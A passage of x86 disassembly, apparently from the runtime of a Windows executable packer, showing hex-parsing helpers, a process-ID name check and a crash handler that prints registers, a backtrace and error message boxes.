call ds:dword_5117D4 ; wsprintfA
add esp, 10h
jmp short loc_50899B
; ---------------------------------------------------------------------------
loc_508977: ; CODE XREF: sub_508892+BAj
push [ebp+var_8]
push offset aMbx@X@_ ; "MBX@%X@*.###"
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov eax, [ebp+var_4]
add eax, ecx
push eax
call ds:dword_5117D4 ; wsprintfA
add esp, 0Ch
loc_50899B: ; CODE XREF: sub_508892+B4j
; sub_508892+E3j
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push [ebp+var_4]
call ds:dword_5117C8 ; CharUpperBuffA
mov eax, [ebp+var_4]
pop edi
leave
retn
sub_508892 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5089B8 proc near ; CODE XREF: sub_508A16+E1p
; sub_508A16+150p
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
movzx eax, [ebp+arg_0]
cmp eax, 30h
jl short loc_5089D6
movzx eax, [ebp+arg_0]
cmp eax, 39h
jg short loc_5089D6
movzx eax, [ebp+arg_0]
sub eax, 30h
jmp short loc_508A14
; ---------------------------------------------------------------------------
loc_5089D6: ; CODE XREF: sub_5089B8+Aj
; sub_5089B8+13j
movzx eax, [ebp+arg_0]
cmp eax, 41h
jl short loc_5089F1
movzx eax, [ebp+arg_0]
cmp eax, 46h
jg short loc_5089F1
movzx eax, [ebp+arg_0]
sub eax, 37h
jmp short loc_508A14
; ---------------------------------------------------------------------------
loc_5089F1: ; CODE XREF: sub_5089B8+25j
; sub_5089B8+2Ej
movzx eax, [ebp+arg_0]
cmp eax, 61h
jl short loc_508A0C
movzx eax, [ebp+arg_0]
cmp eax, 66h
jg short loc_508A0C
movzx eax, [ebp+arg_0]
sub eax, 57h
jmp short loc_508A14
; ---------------------------------------------------------------------------
loc_508A0C: ; CODE XREF: sub_5089B8+40j
; sub_5089B8+49j
mov eax, [ebp+arg_4]
mov byte ptr [eax], 1
xor eax, eax
loc_508A14: ; CODE XREF: sub_5089B8+1Cj
; sub_5089B8+37j ...
pop ebp
retn
sub_5089B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508A16 proc near ; CODE XREF: sub_50153F+2DEp
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E540
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 40h
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz loc_508BF5
call ds:dword_5116E8 ; GetCurrentProcessId
mov [ebp+var_1C], eax
push 5Ch
push [ebp+arg_0]
call sub_4FC700
pop ecx
pop ecx
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_508A71
mov eax, [ebp+var_24]
inc eax
mov [ebp+arg_0], eax
loc_508A71: ; CODE XREF: sub_508A16+52j
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_20], ecx
cmp [ebp+var_20], 4
jle loc_508BF5
push 4
pop ecx
mov edi, offset aMbx@ ; "MBX@"
mov esi, [ebp+arg_0]
xor eax, eax
mov [ebp+var_34], eax
repe cmpsb
jz short loc_508AA7
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_34], eax
loc_508AA7: ; CODE XREF: sub_508A16+87j
mov eax, [ebp+var_34]
mov [ebp+var_38], eax
cmp [ebp+var_38], 0
jnz loc_508BF5
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
push 40h
push [ebp+arg_0]
call sub_4FC640
pop ecx
pop ecx
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz loc_508BF5
and [ebp+var_30], 0
and [ebp+var_2C], 0
loc_508AE1: ; CODE XREF: sub_508A16+FCj
lea eax, [ebp+var_2C]
push eax
mov eax, [ebp+arg_0]
mov al, [eax]
mov byte ptr [ebp+var_3C], al
push [ebp+var_3C]
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
call sub_5089B8
pop ecx
pop ecx
and eax, 0Fh
mov ecx, [ebp+var_30]
shl ecx, 4
or eax, ecx
mov [ebp+var_30], eax
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_28]
jnz short loc_508AE1
movzx eax, [ebp+var_2C]
test eax, eax
jnz loc_508BF5
mov eax, [ebp+var_30]
cmp eax, [ebp+var_1C]
jnz loc_508BF5
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
push 2Eh
push [ebp+arg_0]
call sub_4FC640
pop ecx
pop ecx
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz loc_508BF5
and [ebp+var_30], 0
loc_508B50: ; CODE XREF: sub_508A16+16Bj
lea eax, [ebp+var_2C]
push eax
mov eax, [ebp+arg_0]
mov al, [eax]
mov byte ptr [ebp+var_40], al
push [ebp+var_40]
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
call sub_5089B8
pop ecx
pop ecx
and eax, 0Fh
mov ecx, [ebp+var_30]
shl ecx, 4
or eax, ecx
mov [ebp+var_30], eax
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_28]
jnz short loc_508B50
movzx eax, [ebp+var_2C]
test eax, eax
jnz short loc_508BF5
mov [ebp+var_44], offset a__3 ; ".###"
mov eax, [ebp+arg_0]
mov [ebp+var_48], eax
loc_508B98: ; CODE XREF: sub_508A16+1B4j
mov eax, [ebp+var_48]
mov al, [eax]
mov [ebp+var_49], al
mov ecx, [ebp+var_44]
cmp al, [ecx]
jnz short loc_508BD2
cmp [ebp+var_49], 0
jz short loc_508BCC
mov eax, [ebp+var_48]
mov al, [eax+1]
mov [ebp+var_4A], al
mov ecx, [ebp+var_44]
cmp al, [ecx+1]
jnz short loc_508BD2
add [ebp+var_48], 2
add [ebp+var_44], 2
cmp [ebp+var_4A], 0
jnz short loc_508B98
loc_508BCC: ; CODE XREF: sub_508A16+195j
and [ebp+var_50], 0
jmp short loc_508BDA
; ---------------------------------------------------------------------------
loc_508BD2: ; CODE XREF: sub_508A16+18Fj
; sub_508A16+1A6j
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_50], eax
loc_508BDA: ; CODE XREF: sub_508A16+1BAj
mov eax, [ebp+var_50]
mov [ebp+var_54], eax
cmp [ebp+var_54], 0
jnz short loc_508BF5
mov eax, [ebp+var_30]
mov [ebp+var_58], eax
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_58]
jmp short loc_508C08
; ---------------------------------------------------------------------------
loc_508BF5: ; CODE XREF: sub_508A16+30j
; sub_508A16+6Fj ...
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_508C06
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_508C06: ; CODE XREF: sub_508A16+1E3j
xor eax, eax
loc_508C08: ; CODE XREF: sub_508A16+1DDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_508A16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508C17 proc near ; CODE XREF: sub_4FD2E0+3F8p
push ebp
mov ebp, esp
push offset sub_508C27
call ds:dword_511790 ; SetUnhandledExceptionFilter
pop ebp
retn
sub_508C17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508C27 proc near ; CODE XREF: sub_505BD7+367p
; sub_506B7F+3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B8h]
mov eax, [ebp+arg_0]
mov eax, [eax]
push dword ptr [eax]
push offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x"
call sub_508726
add esp, 0Ch
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+98h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0BCh]
push offset aCs0x08xSs0x08x ; "CS :0x%08X SS :0x%08X DS :0x%08X"
call sub_508726
add esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+8Ch]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+90h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+94h]
push offset aEs0x08xFs0x08x ; "ES :0x%08X FS :0x%08X GS :0x%08X"
call sub_508726
add esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0ACh]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B0h]
push offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X ECX:0x%08X"
call sub_508726
add esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C4h]
push offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X EIP:0x%08X"
call sub_508726
add esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+9Ch]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A0h]
push offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X"
call sub_508726
add esp, 0Ch
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B8h]
call sub_50918E
add esp, 0Ch
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, 11000000h
mov [ebp+var_8], eax
cmp [ebp+var_8], 16h
ja loc_508E67
mov eax, [ebp+var_8]
jmp ds:off_508E97[eax*4]
loc_508D8E: ; DATA XREF: _5:off_508E97o
mov [ebp+var_4], offset aAssertionFai_1 ; "ASSERTION FAILED"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508D9A: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508E9Bo
mov [ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO EXECUTABLE"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508DA6: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508E9Fo
mov [ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508DB2: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EC7o
mov [ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508DBE: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EA3o
mov [ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508DCA: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EA7o
mov [ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508DD6: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EABo
mov [ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE"
jmp loc_508E67
; ---------------------------------------------------------------------------
loc_508DE2: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EAFo
mov [ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508DEB: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EB3o
mov [ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508DF4: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EB7o
mov [ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508DFD: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EBBo
mov [ebp+var_4], offset aOutOfMemory ; "OUT OF MEMORY"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E06: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EBFo
mov [ebp+var_4], offset aWrappersTableB ; "WRAPPERS TABLE BROKEN"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E0F: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EC3o
mov [ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E18: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508ECBo
mov [ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE HEAP"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E21: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508ECFo
mov [ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E2A: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508ED7o
mov [ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E33: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EE7o
mov [ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"...
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E3C: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508ED3o
mov [ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E45: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EDBo
mov [ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E4E: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EDFo
mov [ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E57: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EE3o
mov [ebp+var_4], offset aBadFuulname ; "BAD FUULNAME"
jmp short loc_508E67
; ---------------------------------------------------------------------------
loc_508E60: ; CODE XREF: sub_508C27+160j
; DATA XREF: _5:00508EEFo
mov [ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION"
loc_508E67: ; CODE XREF: sub_508C27+157j
; sub_508C27+160j ...
cmp [ebp+var_4], 0
jz short loc_508E8C
push 0
push 0
call ds:dword_5117C4 ; ChangeDisplaySettingsA
push 10h
push ds:off_50E4F4
push [ebp+var_4]
push 0
call ds:dword_5117D0 ; MessageBoxA
jmp short loc_508E90
; ---------------------------------------------------------------------------
loc_508E8C: ; CODE XREF: sub_508C27+244j
xor eax, eax
jmp short locret_508E93
; ---------------------------------------------------------------------------
loc_508E90: ; CODE XREF: sub_508C27+263j
push 1
pop eax
locret_508E93: ; CODE XREF: sub_508C27+267j
leave
retn 4
sub_508C27 endp
; ---------------------------------------------------------------------------
off_508E97 dd offset loc_508D8E ; DATA XREF: sub_508C27+160r
dd offset loc_508D9A
dd offset loc_508DA6
dd offset loc_508DBE
dd offset loc_508DCA
dd offset loc_508DD6
dd offset loc_508DE2
dd offset loc_508DEB
dd offset loc_508DF4
dd offset loc_508DFD
dd offset loc_508E06
dd offset loc_508E0F
dd offset loc_508DB2
dd offset loc_508E18
dd offset loc_508E21
dd offset loc_508E3C
dd offset loc_508E2A
dd offset loc_508E45
dd offset loc_508E4E
dd offset loc_508E57
dd offset loc_508E33
dd offset loc_508E67
dd offset loc_508E60
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508EF3 proc near ; CODE XREF: sub_50918E+40p
; sub_50918E+83p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E550
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, offset dword_515A90
test eax, eax
jnz short loc_508F2E
mov eax, offset aBroken ; "!broken!"
jmp loc_509006
; ---------------------------------------------------------------------------
loc_508F2E: ; CODE XREF: sub_508EF3+2Fj
mov ecx, 100h
xor eax, eax
mov edi, offset dword_515A90
rep stosd
and [ebp+var_4], 0
push 1Ch
lea eax, [ebp+var_40]
push eax
push [ebp+arg_0]
call ds:dword_5117B0 ; VirtualQuery
test eax, eax
jnz short loc_508F78
push offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown"
push offset dword_515A90
call ds:dword_5117D4 ; wsprintfA
pop ecx
pop ecx
mov [ebp+var_44], offset dword_515A90
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_44]
jmp loc_509006
; ---------------------------------------------------------------------------
loc_508F78: ; CODE XREF: sub_508EF3+5Ej
lea eax, [ebp+var_40]
push eax
call sub_5090EF
pop ecx
mov [ebp+var_20], eax
and [ebp+var_24], 0
and [ebp+var_1C], 0
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_40]
push eax
push [ebp+arg_0]
call sub_509015
add esp, 10h
cmp [ebp+var_20], 0
jnz short loc_508FB1
mov [ebp+var_20], offset aUnknown_0 ; "unknown"
loc_508FB1: ; CODE XREF: sub_508EF3+B5j
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+var_20]
push [ebp+arg_0]
push offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)"
push offset dword_515A90
call ds:dword_5117D4 ; wsprintfA
add esp, 18h
mov [ebp+var_48], offset dword_515A90
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_48]
jmp short loc_509006
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
push [ebp+arg_0]
push offset aBroken0x08x ; "!broken!0x%08x:"
push offset dword_515A90
call ds:dword_5117D4 ; wsprintfA
add esp, 0Ch
mov eax, offset dword_515A90
loc_509006: ; CODE XREF: sub_508EF3+36j
; sub_508EF3+80j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_508EF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509015 proc near ; CODE XREF: sub_508EF3+A9p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
mov eax, [ebp+arg_4]
mov eax, [eax+4]
mov ecx, [ebp+arg_4]
mov ecx, [ecx+4]
add ecx, [eax+3Ch]
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+18h]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
sub ecx, [eax+4]
mov [ebp+var_C], ecx
and [ebp+var_4], 0
jmp short loc_509058
; ---------------------------------------------------------------------------
loc_509051: ; CODE XREF: sub_509015:loc_5090E5j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_509058: ; CODE XREF: sub_509015+3Aj
mov eax, [ebp+var_10]
movzx eax, word ptr [eax+6]
cmp [ebp+var_4], eax
jnb loc_5090EA
mov eax, [ebp+var_4]
imul eax, 28h
mov ecx, [ebp+var_8]
mov eax, [ecx+eax+0Ch]
mov [ebp+var_18], eax
mov eax, [ebp+var_4]
imul eax, 28h
mov ecx, [ebp+var_4]
imul ecx, 28h
mov edx, [ebp+var_8]
mov esi, [ebp+var_8]
mov eax, [edx+eax+10h]
cmp eax, [esi+ecx+8]
jbe short loc_5090A6
mov eax, [ebp+var_4]
imul eax, 28h
mov ecx, [ebp+var_8]
mov eax, [ecx+eax+10h]
mov [ebp+var_1C], eax
jmp short loc_5090B6
; ---------------------------------------------------------------------------
loc_5090A6: ; CODE XREF: sub_509015+7Dj
mov eax, [ebp+var_4]
imul eax, 28h
mov ecx, [ebp+var_8]
mov eax, [ecx+eax+8]
mov [ebp+var_1C], eax
loc_5090B6: ; CODE XREF: sub_509015+8Fj
mov eax, [ebp+var_18]
add eax, [ebp+var_1C]
mov [ebp+var_14], eax
mov eax, [ebp+var_C]
cmp eax, [ebp+var_18]
jb short loc_5090E5
mov eax, [ebp+var_C]
cmp eax, [ebp+var_14]
jnb short loc_5090E5
mov eax, [ebp+var_4]
inc eax
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+var_C]
sub eax, [ebp+var_18]
mov ecx, [ebp+arg_C]
mov [ecx], eax
jmp short loc_5090EA
; ---------------------------------------------------------------------------
loc_5090E5: ; CODE XREF: sub_509015+B0j
; sub_509015+B8j
jmp loc_509051
; ---------------------------------------------------------------------------
loc_5090EA: ; CODE XREF: sub_509015+4Dj
; sub_509015+CEj
xor al, al
pop esi
leave
retn
sub_509015 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5090EF proc near ; CODE XREF: sub_508EF3+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 41h
pop ecx
xor eax, eax
mov edi, offset dword_515E90
rep stosd
push 104h
push offset dword_515E90
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
call ds:dword_511714 ; GetModuleFileNameA
test eax, eax
jnz short loc_50911F
xor eax, eax
jmp short loc_50918B
; ---------------------------------------------------------------------------
loc_50911F: ; CODE XREF: sub_5090EF+2Aj
push 5Ch
push offset dword_515E90
call sub_4FC700
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_50913C
mov eax, [ebp+var_4]
inc eax
jmp short loc_50918B
; ---------------------------------------------------------------------------
loc_50913C: ; CODE XREF: sub_5090EF+45j
mov edi, offset dword_515E90
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 50h
pop eax
cmp eax, ecx
sbb eax, eax
neg eax
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_509186
mov eax, [ebp+var_8]
mov ds:byte_515E40[eax], 2Eh
mov eax, [ebp+var_8]
mov ds:byte_515E41[eax], 2Eh
mov eax, [ebp+var_8]
mov ds:byte_515E42[eax], 2Eh
mov eax, [ebp+var_8]
lea eax, byte_515E40[eax]
jmp short loc_50918B
; ---------------------------------------------------------------------------
loc_509186: ; CODE XREF: sub_5090EF+6Cj
mov eax, offset dword_515E90
loc_50918B: ; CODE XREF: sub_5090EF+2Ej
; sub_5090EF+4Bj ...
pop edi
leave
retn
sub_5090EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50918E proc near ; CODE XREF: sub_508C27+132p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E560
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push offset aBacktrace ; "-- backtrace --"
call sub_508726
pop ecx
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
and [ebp+var_4], 0
push [ebp+arg_0]
call sub_508EF3
pop ecx
push eax
push offset aS_32 ; " %s"
call sub_508726
pop ecx
pop ecx
and [ebp+var_20], 0
jmp short loc_5091F6
; ---------------------------------------------------------------------------
loc_5091E7: ; CODE XREF: sub_50918E+96j
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
mov eax, [ebp+var_1C]
mov eax, [eax]
mov [ebp+var_1C], eax
loc_5091F6: ; CODE XREF: sub_50918E+57j
cmp [ebp+var_20], 40h
jnb short loc_509226
cmp [ebp+var_1C], 0
jz short loc_509226
mov eax, [ebp+var_1C]
cmp dword ptr [eax+4], 0
jz short loc_509226
mov eax, [ebp+var_1C]
push dword ptr [eax+4]
call sub_508EF3
pop ecx
push eax
push offset aS_32 ; " %s"
call sub_508726
pop ecx
pop ecx
jmp short loc_5091E7
; ---------------------------------------------------------------------------
loc_509226: ; CODE XREF: sub_50918E+6Cj
; sub_50918E+72j ...
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_509242
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
push offset a___OpssBrokenB ; " ... opss, broken by SEH"
call sub_508726
pop ecx
or [ebp+var_4], 0FFFFFFFFh
loc_509242: ; CODE XREF: sub_50918E+9Cj
push offset aStack ; "--stack--"
call sub_508726
pop ecx
mov eax, [ebp+arg_8]
mov [ebp+var_1C], eax
mov [ebp+var_4], 1
and [ebp+var_24], 0
jmp short loc_509267
; ---------------------------------------------------------------------------
loc_509260: ; CODE XREF: sub_50918E+10Fj
mov eax, [ebp+var_24]
inc eax
mov [ebp+var_24], eax
loc_509267: ; CODE XREF: sub_50918E+D0j
cmp [ebp+var_24], 8
jnb short loc_50929F
mov eax, [ebp+var_1C]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_1C]
push dword ptr [eax+8]
mov eax, [ebp+var_1C]
push dword ptr [eax+4]
mov eax, [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_1C]
push offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x"
call sub_508726
add esp, 18h
mov eax, [ebp+var_1C]
add eax, 10h
mov [ebp+var_1C], eax
jmp short loc_509260
; ---------------------------------------------------------------------------
loc_50929F: ; CODE XREF: sub_50918E+DDj
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_5092BB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
push offset a___OpssBrokenB ; " ... opss, broken by SEH"
call sub_508726
pop ecx
or [ebp+var_4], 0FFFFFFFFh
loc_5092BB: ; CODE XREF: sub_50918E+115j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_50918E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5092CA proc near ; CODE XREF: sub_4FF63E+64p
; sub_50153F+2AFp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
and [ebp+var_8], 0
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+1]
push eax
call sub_50835A
pop ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
inc ecx
mov esi, [ebp+arg_0]
mov edi, [ebp+var_8]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_8]
pop edi
pop esi
leave
retn
sub_5092CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50931F proc near ; CODE XREF: sub_5093B3+1Fp
; sub_5098C0+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
